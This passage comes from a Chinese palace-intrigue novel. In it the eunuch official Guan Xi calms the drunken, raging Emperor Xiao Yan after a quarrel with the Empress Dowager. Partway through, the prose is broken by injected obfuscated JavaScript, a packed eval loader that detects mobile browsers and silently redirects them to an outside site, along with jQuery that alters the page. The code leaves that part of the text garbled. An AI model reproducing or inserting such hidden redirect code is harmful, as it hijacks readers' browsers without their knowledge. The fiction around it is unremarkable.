窗外，冬夜正长。
关禧笔下那条关于密报直呈程序的细则刚写到一半，狼毫尖端饱满的墨汁将落未落，门外忽然传来一阵急促的脚步声，伴随着难掩焦急的交谈，打破了院落寂静。
笔尖一顿，一滴墨终究还是落在了“呈”字最后一横的末端，泅开一小团突兀的污迹。关禧眉头蹙起，搁下笔，抬眼望向书房门的方向。
几乎是同时，双喜连滚带爬地冲了进来，脸色煞白，声音都变了调：“督、督主！孙、孙副总管来了！带着人，就在院门外，说是……说是陛下急召！”
急召？这个时辰？
关禧心中警铃大作。他迅速扫了一眼更漏，亥时三刻，宫门早已下钥，若无惊天大事，绝无可能此时召见外臣，即便是他这等内侍近臣，也极为罕见。且是孙得禄亲自带人来……
他起身，迅速合拢桌上摊开的规章草稿，压在一本厚重的《永昌会典》之下，又顺手将沾了墨污的那页纸团起，丢进脚边的炭盆。橘红的火苗倏地蹿起，将纸团吞噬，化作一小撮蜷曲的灰烬。
做完这些，他才整理了一下身上那件深青色常服，举步向门外走去。
院门洞开，寒风毫无阻碍地灌入。孙得禄站在门外，身后跟着两名乾元殿御前侍卫打扮的魁梧汉子，俱是面色沉凝。孙得禄自己则裹着一件厚重的玄色斗篷，帽檐下一张脸在廊下摇晃的宫灯映照下，竟透着几分罕见的焦虑，全无平日滴水不漏的圆滑模样。
“孙公公。”关禧站定，目光扫过三人。
“关提督！”孙得禄上前一步，也顾不得寒暄，声音又急又低，“快，随咱家走一趟！陛下……陛下要见你！”
“陛下此刻在何处？因何急召？”关禧脚下未动，语气平稳地问。
孙得禄脸上的肌肉抽动了一下，左右看了一眼，凑得更近，重重叹了口气，眼底是掩饰不住的惊惧，“在寝殿……今日午后，陛下去了永寿宫，与太后娘娘……唉！不知为何事，争执了起来，动静不小，连外头伺候的都听见摔了茶盏……陛下从永寿宫出来时，脸色难看得吓人，回到乾元殿就把自己关在寝殿，晚膳也没用，只让人送酒进去……这都喝了快两个时辰了，谁劝都不听，还、还砸了东西……”
他抓住关禧的袖子，力道大得惊人：“关提督，陛下平日对你……还算看重。如今这光景，咱们做奴才的实在是没法子了！你好歹去劝一劝，哪怕能让陛下歇下，也是好的！万一、万一龙体有损，咱们谁都担待不起啊！”
皇帝与太后大吵，独自酗酒，拒绝近侍……这消息任何一个传出去，都是足以震动朝野的宫闱秘闻。孙得禄来找他，与其说是相信他能劝住皇帝，不如说是在这突如其来的危机和帝后冲突的压力下，病急乱投医，抓住任何一根可能缓解局面的稻草。而他关禧，既是新晋的宠臣，又与太后那边有过节，被推出去，成了最合适不过的缓冲。
风险极高。盛怒且醉酒的帝王，心思莫测，一句话不对，就可能引火烧身。但同样，危机往往伴随着机遇。若能在这种时刻接近皇帝，甚至获得一丝信任或倚重……
“孙公公稍候，容我更衣。”
关禧转身回屋，迅速从衣柜中取出一件毫无纹饰的玄色夹棉长袍换上，又将头发重新束紧，确保一丝不乱，他需要显得干净利落，毫无攻击性。
走出房门，他对双喜和贵平丢下一句“守好院子，任何人不得擅入”，便对孙得禄道：“走吧。”
一行人疾行在深夜的宫道上。寒风如刀，刮过脸颊生疼。沿途侍卫远远看见孙得禄和那身御前侍卫服色，纷纷避让。
越是靠近乾元殿寝宫区域，气氛越发凝滞。廊下的宫灯似乎都比别处黯淡几分，当值的太监宫女个个屏息垂首，面色惶惶。
寝殿外，明黄色的帷幔低垂，里面透出明亮的烛光，一些晃动的人影投射在窗纱上。隐约能听见瓷器碎裂的清脆声响，以及属于帝王的粗重喘息和含糊的咒骂。几名高阶宫女和太监跪在殿门外不远处，以头触地，瑟瑟发抖。
孙得禄在殿阶下停住脚步，擦了擦额角的冷汗，对关禧低声道：“提督，陛下就在里面……咱家、咱家就不进去了，在外头候着。”他将“候着”二字说得极重，眼中满是恳求。
关禧看了他一眼，没说什么，独自迈步上前。
跪伏的宫人听到脚步声，微微抬头，见是关禧，眼中闪过诧异，旋即又深深埋下头去。
关禧在紧闭的殿门前站定，深吸一口气，抬手，叩了叩门环。
里面瓷器碎裂的声音骤然一停。
随即，是萧衍暴躁的吼声，隔着厚重的门板传来：“滚！都给朕滚出去！谁再敢进来，朕扒了他的皮！”
关禧的手停在半空，静默了一息，然后，用一种不高不低，清晰平稳的语调开口：
“陛下，奴才关禧，奉旨觐见。”
门内霎时一片死寂。
跪伏的宫人们头埋得更低，孙得禄在不远处攥紧了拳头。
不知过了多久，也许只有几个呼吸，也许漫长如一个世纪。
“吱呀——”
殿门，从里面被拉开了一道缝隙。
浓烈的酒气混合着龙涎香残留的馥郁，扑面而来。
开门的是个面无人色的小太监，看见关禧，像是见了救星，嘴唇哆嗦着，让开了身子。
关禧抬步，跨过了那道门槛。
殿内景象，饶是他有所准备，心头仍是一凛。
地上狼藉一片。碎裂的瓷片，翻倒的酒壶，倾倒的案几，扯落的帐幔……烛台倒是点了许多，将室内照得亮如白昼，也照亮了御榻上那个身影。
萧衍只穿着一身皱巴巴的明黄寝衣，赤着脚，披散着头发，坐在榻沿。他一手还攥着一个半空的玉壶，另一只手撑在膝上，佝偻着背。听到脚步声，他抬起了头。
烛光下，年轻帝王的脸上泛着不正常的潮红，眼白布满血丝，眼神涣散，眉宇间凝着一股化不开的暴戾，那张平日威严的脸，此刻被酒精和怒气扭曲，竟显出几分狰狞。
他看着关禧，涣散的目光渐渐聚焦，似在辨认，随即，嘴角扯出一个讥诮的弧度。
“关禧？呵……朕的关提督……你来干什么？来看朕的笑话？还是……永寿宫那位，让你来看看，她儿子有多不中用？有多……窝囊？！”
最后两个字，是咆哮而出，同时手中的玉壶被他狠狠掼在地上，“砰”地一声巨响，碎片和残酒四溅。
关禧站在原地，脸上没有任何惧色，也没有讨好或劝慰的表情，只是在那声咆哮过后，撩袍跪了下来。
“奴才不敢。奴才只是奉召而来。陛下若有差遣，奴才万死不辞；陛下若无吩咐，奴才便在此跪候，直至陛下息怒安寝。”
他没有问陛下为何动怒，也没有说陛下保重龙体，更不去接永寿宫那个危险的话头，只是陈述自己奉召而来，表明听候差遣的姿态。
这种出乎意料的平静和漠然的顺从，让盛怒中的萧衍怔了一下。他死死盯着跪在狼藉中，背脊挺直，垂眸敛目的关禧，胸口剧烈起伏，喘着粗气。
“差遣？哈……朕能有什么差遣？”萧衍摇摇晃晃地站起身，踉跄着走到关禧面前，阴影笼罩下来，“朕连自己宫里想用个人，想办件事，都做不了主！前朝是他们的，后宫也是他们的！朕算什么皇帝？朕就是个摆在御座上的傀儡！木偶！”
他俯身，带着酒气的呼吸喷在关禧头顶：“你告诉朕，关禧，你这个提督，能替朕做什么？嗯？你能把那些趴在朕身上吸血的老狐狸都抓起来吗？你能让永寿宫……让朕那位好母后，不再把手伸到朕的眼前、耳边、甚至榻边吗？！”
每一个字都浸满了无力感和被至亲控制的痛楚，这或许是醉话，更是压抑太久，终于崩溃边缘的真言。
关禧跪得笔直，等萧衍说完，他才抬起眼，迎上皇帝充血狂乱的眼睛。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17121828|192226||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“陛下是天子。陛下若要奴才去抓，奴才便去查；陛下若要奴才去拦，奴才便去挡。内缉事厂是陛下手中的刀，刀锋指向何处，奴才便斩向何处。纵是刀折人亡，亦是奴才本分。”
他顿了顿，在萧衍死死盯视的目光中，继续道：“然陛下此刻醉中，心神激荡，所言所怒，或非本意。陛下若信得过奴才，不若暂息雷霆，保重圣体。待明日酒醒，无论陛下欲斩何方奸佞，肃清何路阴霾，奴才……必为陛下前驱，死不旋踵。”
他没有劝皇帝别生气，也没有妄议太后与前朝，而是将选择权交回皇帝手中，同时强调此刻醉中，所言或非本意，给皇帝一个台阶，也给自己留了余地。最后那句“待明日酒醒……必为陛下前驱”，既是表忠，也是一种暗示，清醒时下的命令，他才敢真正去执行。
萧衍盯着他，目光锐利如刀，想从他平静的面容下，挖出哪怕一丝一毫的虚伪或动摇。但关禧就那么跪着，眼神坦荡，姿态恭谨，也带着一种不易折的韧性。
良久，萧衍眼中狂乱的暴戾渐渐褪去一些，踉跄着后退两步，跌坐回榻沿，用手捂住脸，肩膀颤抖起来。
殿内只剩下他粗重压抑的呼吸声。
关禧跪着，一动不动。
不知过了多久，萧衍放下手，脸上的潮红退去些，露出底下的苍白。他看了一眼满地狼藉，又看了一眼跪在狼藉中衣袍下摆已沾湿的关禧，哑声开口：
“……起来。”
“谢陛下。”关禧依言起身，垂手肃立。
“收拾了。”萧衍挥了挥手，声音疲惫不堪。
关禧没有唤门外跪着的宫人，自己动手。他先小心地将较大的瓷片捡起，放在一旁，又寻来簸箕和扫帚，将细小的碎片和污渍清理干净，动作沉稳有序，他甚至找出干净的布巾，将溅上酒液的御榻边缘擦拭了一遍。
萧衍看着他忙碌，眼神晦暗不明。
待一切大致恢复整洁，关禧才停下，躬身道：“陛下，夜已深，可要安置？”
萧衍没回答，目光落在窗外沉沉的夜色上，半晌，才极轻地问了一句，像是自语：
“关禧，你说……朕是不是很失败？”
关禧心头微震。这个问题，比方才所有的咆哮怒吼都更危险。他沉吟片刻，谨慎答道：“陛下登基五载，平定边患，整顿吏治，天下承平，百姓渐安，此乃有目共睹之功业。陛下乃励精图治之君，何言失败？”
“励精图治？”萧衍嗤笑一声，“朕连自己的母亲都……罢了。”他显然不想再深谈这个话题，转而道，“你方才说，内缉事厂是朕的刀？”
“是。”
“那你这把刀，磨得如何了？”萧衍的目光转回来，落在关禧身上。
“十日之期未到，奴才不敢妄言已磨锋利。然框架已立，规矩初成，人手已动。”关禧答道，“奴才必竭尽全力，为陛下磨出一把趁手、听话、且……只认陛下一人的刀。”
“只认朕一人……”萧衍重复着，眼底深处有什么东西亮了一下，又迅速湮灭在更深的疲惫里，“好，朕记着了。你退下吧。”
“是。陛下早些安歇，奴才告退。”关禧躬身，一步步退出寝殿，反手带上了门。
门扉合拢。
廊下，孙得禄立刻迎了上来，脸上惊魂未定，压低声音急问：“提督，陛下他……”
“陛下已平静些，想来不久便会安置。”关禧语气平淡，“孙公公可吩咐人准备些醒酒汤和安神茶，待陛下传唤。”
孙得禄长长松了口气，看着关禧的眼神复杂难言，既有感激，也有更深层的忌惮：“有劳提督了！咱家这就去办！”
关禧颔首，不再多言，转身朝着自己院落的方向走去。
深冬的夜风更冷了，吹在身上，激得他一个寒颤。方才在殿内看似平静，实则后背也早已被冷汗浸透。那番应对，无异于在悬崖边上走了一遭。
但值得。